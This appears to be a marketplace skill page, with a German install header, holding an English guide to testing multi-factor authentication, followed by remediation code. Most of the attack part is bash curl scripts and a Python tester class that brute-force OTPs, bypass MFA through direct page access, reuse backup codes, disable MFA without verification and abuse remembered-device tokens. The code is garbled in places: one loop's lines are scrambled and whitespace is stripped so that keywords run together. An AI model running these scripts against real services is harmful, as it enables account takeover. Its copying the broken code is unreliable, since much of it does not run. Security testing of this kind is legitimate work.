Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Multi-Factor Authentication adds an additional layer of security beyond passwords. This test examines the implementation of MFA for weaknesses such as bypass vulnerabilities, weak OTP generation, lack of rate limiting, and improper enrollment procedures. A flawed MFA implementation can give users false confidence while not actually providing meaningful protection.
What to Check
MFA Implementation
MFA bypass possibilities
OTP strength and predictability
Rate limiting on OTP attempts
Backup code security
MFA enrollment process
Recovery mechanism security
Session handling after MFA
Common Weaknesses
Weakness
Description
Direct page access
Bypass MFA by accessing post-auth pages
Response manipulation
Change response to indicate MFA success
Brute force OTP
No rate limiting on attempts
Weak OTP generation
Predictable codes
Backup code reuse
Codes not single-use
How to Test
Step 1: Test MFA Bypass via Direct Access
# After completing first factor, try to access protected pages directly# without completing MFA# Get session after password auth
session=$(curl -s -X POST "https://target.com/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"password"}' \
-c - | grep session | awk '{print $7}')
# Try to access protected resources without MFA completion
protected_pages=(
)
page ;
response=$(curl -s \
-H \
-w )
"/dashboard"
"/account"
"/api/user"
"/settings"
"/api/sensitive-data"
for
in
"${protected_pages[@]}"
do
"https://target.com$page"
"Cookie: session=$session"
"\nStatus: %{http_code}"
echo
"$page: $(echo "$response" | tail -1)"
done
Step 2: Test OTP Brute Force
#!/bin/bash# Test rate limiting on OTP attempts
MFA_TOKEN="temporary_mfa_token"for otp in {000000..000100}; do
response=$(curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Content-Type: application/json" \
-d "{\"token\":\"$MFA_TOKEN\",\"otp\":\"$otp\"}" \
-w "\n%{http_code}")
status=$(echo"$response" | tail -1)
if [ "$status" == "429" ]; thenecho"Rate limited after trying OTP: $otp"breakfiifecho"$response" | grep -qi "success"; thenecho"[SUCCESS] Valid OTP: $otp"breakfidone
Step 3: Test OTP Predictability
#!/bin/bash# Collect multiple OTPs to analyze patternsecho"Request OTPs at different times to analyze patterns:"for i in {1..10}; do# Request SMS/Email OTP
response=$(curl -s -X POST "https://target.com/api/send-otp" \
-H "Authorization: Bearer $MFA_TOKEN" \
-H "Content-Type: application/json" \
-d '{"method":"email"}')
echo"Request $i at $(date +%s): $response"sleep 5
done# Check received OTPs for patterns:# - Sequential?# - Timestamp-based?# - Short length?
Step 4: Test Response Manipulation
# Test if changing response allows MFA bypass# This is typically done with Burp Suite:# 1. Submit wrong OTP# 2. Intercept response# 3. Change {"success": false} to {"success": true}# 4. Check if access is granted# Programmatic test:# Submit with wrong OTP and check server-side validation
curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Content-Type: application/json" \
-d '{"token":"mfa_token","otp":"000000"}' \
-v 2>&1 | grep -i "set-cookie"# If new session cookie is set even with wrong OTP, there's an issue
Step 5: Test Backup Codes
# Test backup code security# Use a backup code
backup_code="BACKUP-CODE-1"
curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Authorization: Bearer $MFA_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"backup_code\":\"$backup_code\"}"# Try to use the same code again
response=$(curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Authorization: Bearer $MFA_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"backup_code\":\"$backup_code\"}")
ifecho"$response" | grep -qi "success"; thenecho"[VULN] Backup code can be reused!"elseecho"[OK] Backup code is single-use"fi
Step 6: Test MFA Enrollment Vulnerabilities
# Test if MFA can be disabled without verification# Try to disable MFA without OTP
curl -s -X POST "https://target.com/api/disable-mfa" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{}'# Try to change MFA method without verification
curl -s -X POST "https://target.com/api/update-mfa" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"method":"sms","phone":"+1234567890"}'# Test if MFA enrollment can be bypassed
curl -s -X POST "https://target.com/api/enable-mfa" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"method":"totp","skip_verification":true}'
Step 7: Test "Remember This Device" Feature
# Test if "remember device" can be abused# Enable remember device
curl -s -X POST "https://target.com/api/verify-mfa" \
-H "Content-Type: application/json" \
-d '{"token":"mfa_token","otp":"123456","remember_device":true}' \
-c cookies.txt
# Check device tokencat cookies.txt | grep -i "device\|remember\|trusted"# Test if device token works from different IP
curl -s "https://target.com/api/login" \
-H "X-Forwarded-For: 1.2.3.4" \
-b cookies.txt
# Test device token expiration# Test if token works on different browsers
Step 8: Test TOTP Implementation
#!/usr/bin/env python3# Test TOTP implementation security
import pyotp
import time# If you have access to the TOTP secret
secret = "TEST_SECRET_KEY"
totp = pyotp.TOTP(secret)
# Test if old codes are accepted (time window too large)
old_code = totp.at(time.time() - 120) # 2 minutes ago
response = requests.post(
"https://target.com/api/verify-mfa",
json={"otp": old_code}
)
print(f"2-minute old code: {response.status_code}")
# Test if future codes are accepted
future_code = totp.at(time.time() + 120) # 2 minutes ahead
response = requests.post(
"https://target.com/api/verify-mfa",
json={"otp": future_code}
)
print(f"2-minute future code: {response.status_code}")
# Codes should only be valid for ~30 seconds window
Tools
MFA Testing
Tool
Description
Usage
Burp Suite
Response manipulation
MFA bypass testing
pyotp
TOTP testing
Code generation/analysis
Custom scripts
Automated testing
OTP brute force
Analysis
Tool
Description
oathtool
TOTP/HOTP generation
Python
Custom analysis scripts
Example Commands/Payloads
MFA Security Tester
#!/usr/bin/env python3import requests
import time
import pyotp
classMFATester:
def__init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.results = {}
deftest_bypass_direct_access(self, partial_auth_cookie, protected_pages):
"""Test if MFA can be bypassed by direct page access"""print("[*] Testing direct page access bypass...")
vulnerable = []
for page in protected_pages:
response = self.session.get(
f"{self.base_url}{page}",
cookies={"session": partial_auth_cookie}
)
if response.status_code == 200and"login"notin response.url.lower():
vulnerable.append(page)
self.results["direct_access_bypass"] = {
"vulnerable_pages": vulnerable,
"vulnerable": len(vulnerable) > 0
}
deftest_otp_brute_force(self, mfa_token, max_attempts=100):
"""Test rate limiting on OTP attempts"""print("[*] Testing OTP brute force protection...")
blocked_at = Nonefor i inrange(max_attempts):
otp = str(i).zfill(6)
response = self.session.post(
f"{self.base_url}/api/verify-mfa",
json={"token": mfa_token, "otp": otp}
)
if response.status_code == 429:
blocked_at = i + 1breakself.results["otp_brute_force"] = {
"blocked_after": blocked_at,
"no_rate_limit": blocked_at isNoneor blocked_at > 10
}
deftest_backup_code_reuse(self, mfa_token, backup_code):
"""Test if backup codes can be reused"""print("[*] Testing backup code reuse...")
# First use
response1 = self.session.post(
f"{self.base_url}/api/verify-mfa",
json={"token": mfa_token, "backup_code": backup_code}
)
# Second use
response2 = self.session.post(
f"{self.base_url}/api/verify-mfa",
json={"token": mfa_token, "backup_code": backup_code}
)
self.results["backup_code_reuse"] = {
"first_use": response1.status_code,
"second_use": response2.status_code,
"vulnerable": response2.status_code == 200
}
deftest_totp_window(self, secret):
"""Test if TOTP accepts codes outside valid window"""print("[*] Testing TOTP time window...")
totp = pyotp.TOTP(secret)
now = time.time()
# Test codes from different times
time_offsets = [-300, -180, -120, -60, -30, 0, 30, 60, 120, 180, 300]
accepted = []
for offset in time_offsets:
code = totp.at(now + offset)
response = self.session.post(
f"{self.base_url}/api/verify-mfa",
json={"otp": code}
)
if response.status_code == 200:
accepted.append(offset)
self.results["totp_window"] = {
"accepted_offsets": accepted,
"too_wide": any(abs(o) > 60for o in accepted)
}
deftest_mfa_disable(self, auth_token):
"""Test if MFA can be disabled without verification"""print("[*] Testing MFA disable security...")
# Try to disable without OTP
response = self.session.post(
f"{self.base_url}/api/disable-mfa",
headers={"Authorization": f"Bearer {auth_token}"},
json={}
)
self.results["mfa_disable"] = {
"requires_verification": response.status_code != 200,
"vulnerable": response.status_code == 200
}
deftest_session_after_mfa(self, pre_mfa_session, post_mfa_session):
"""Test if session changes after MFA"""print("[*] Testing session handling after MFA...")
self.results["session_after_mfa"] = {
"same_session": pre_mfa_session == post_mfa_session,
"vulnerable": pre_mfa_session == post_mfa_session
}
defgenerate_report(self):
"""Generate MFA security report"""print("\n" + "=" * 60)
print("MFA SECURITY TEST REPORT")
print("=" * 60 + "\n")
vulnerabilities = []
for test_name, result inself.results.items():
vulnerable = result.get("vulnerable", False) or result.get("no_rate_limit", False)
status = "[VULN]"if vulnerable else"[OK]"print(f"{status}{test_name}")
for key, value in result.items():
if key notin ["vulnerable"]:
print(f" {key}: {value}")
if vulnerable:
vulnerabilities.append(test_name)
print()
print("=" * 60)
print(f"Total vulnerabilities: {len(vulnerabilities)}")
if vulnerabilities:
print("Issues found:")
for v in vulnerabilities:
print(f" - {v}")
# Usage
tester = MFATester("https://target.com")
tester.test_bypass_direct_access("partial_session", ["/dashboard", "/settings"])
tester.test_otp_brute_force("mfa_token")
tester.generate_report()
Remediation Guide
1. Secure MFA Implementation
import pyotp
import secrets
from datetime import datetime, timedelta
classSecureMFA:
MAX_OTP_ATTEMPTS = 5
OTP_LOCKOUT_DURATION = 900# 15 minutes
TOTP_VALID_WINDOW = 1# Only current and previous codedef__init__(self, redis_client):
self.redis = redis_client
defgenerate_totp_secret(self):
"""Generate secure TOTP secret"""return pyotp.random_base32()
defverify_totp(self, user_id, code):
"""Verify TOTP with rate limiting and narrow window"""# Check rate limitifnotself.check_rate_limit(user_id):
returnFalse, "Too many attempts"
user = User.query.get(user_id)
totp = pyotp.TOTP(user.totp_secret)
# Verify with narrow window (only current and previous code)if totp.verify(code, valid_window=self.TOTP_VALID_WINDOW):
# Check if code was already used (replay protection)ifself.is_code_used(user_id, code):
returnFalse, "Code already used"self.mark_code_used(user_id, code)
self.clear_attempts(user_id)
returnTrue, Noneself.record_failed_attempt(user_id)
returnFalse, "Invalid code"defcheck_rate_limit(self, user_id):
"""Check if user is rate limited"""
lockout_key = f"mfa_lockout:{user_id}"ifself.redis.exists(lockout_key):
returnFalse
attempts_key = f"mfa_attempts:{user_id}"
attempts = int(self.redis.get(attempts_key) or0)
if attempts >= self.MAX_OTP_ATTEMPTS:
self.redis.setex(lockout_key, self.OTP_LOCKOUT_DURATION, "1")
returnFalsereturnTruedefrecord_failed_attempt(self, user_id):
"""Record failed MFA attempt"""
key = f"mfa_attempts:{user_id}"self.redis.incr(key)
self.redis.expire(key, 3600)
defis_code_used(self, user_id, code):
"""Check if code was already used (prevent replay)"""
key = f"mfa_used_codes:{user_id}"returnself.redis.sismember(key, code)
defmark_code_used(self, user_id, code):
"""Mark code as used"""
key = f"mfa_used_codes:{user_id}"self.redis.sadd(key, code)
self.redis.expire(key, 120) # Codes expire after 2 minutes anywaydefgenerate_backup_codes(self, user_id, count=10):
"""Generate single-use backup codes"""
codes = []
for _ inrange(count):
code = secrets.token_hex(4).upper()
codes.append(code)
# Store hashed codesfor code in codes:
BackupCode.create(
user_id=user_id,
code_hash=hash_code(code),
used=False
)
return codes
defverify_backup_code(self, user_id, code):
"""Verify and consume backup code"""
code_hash = hash_code(code)
backup = BackupCode.query.filter_by(
user_id=user_id,
code_hash=code_hash,
used=False
).first()
ifnot backup:
returnFalse# Mark as used
backup.used = True
backup.used_at = datetime.utcnow()
db.session.commit()
returnTrue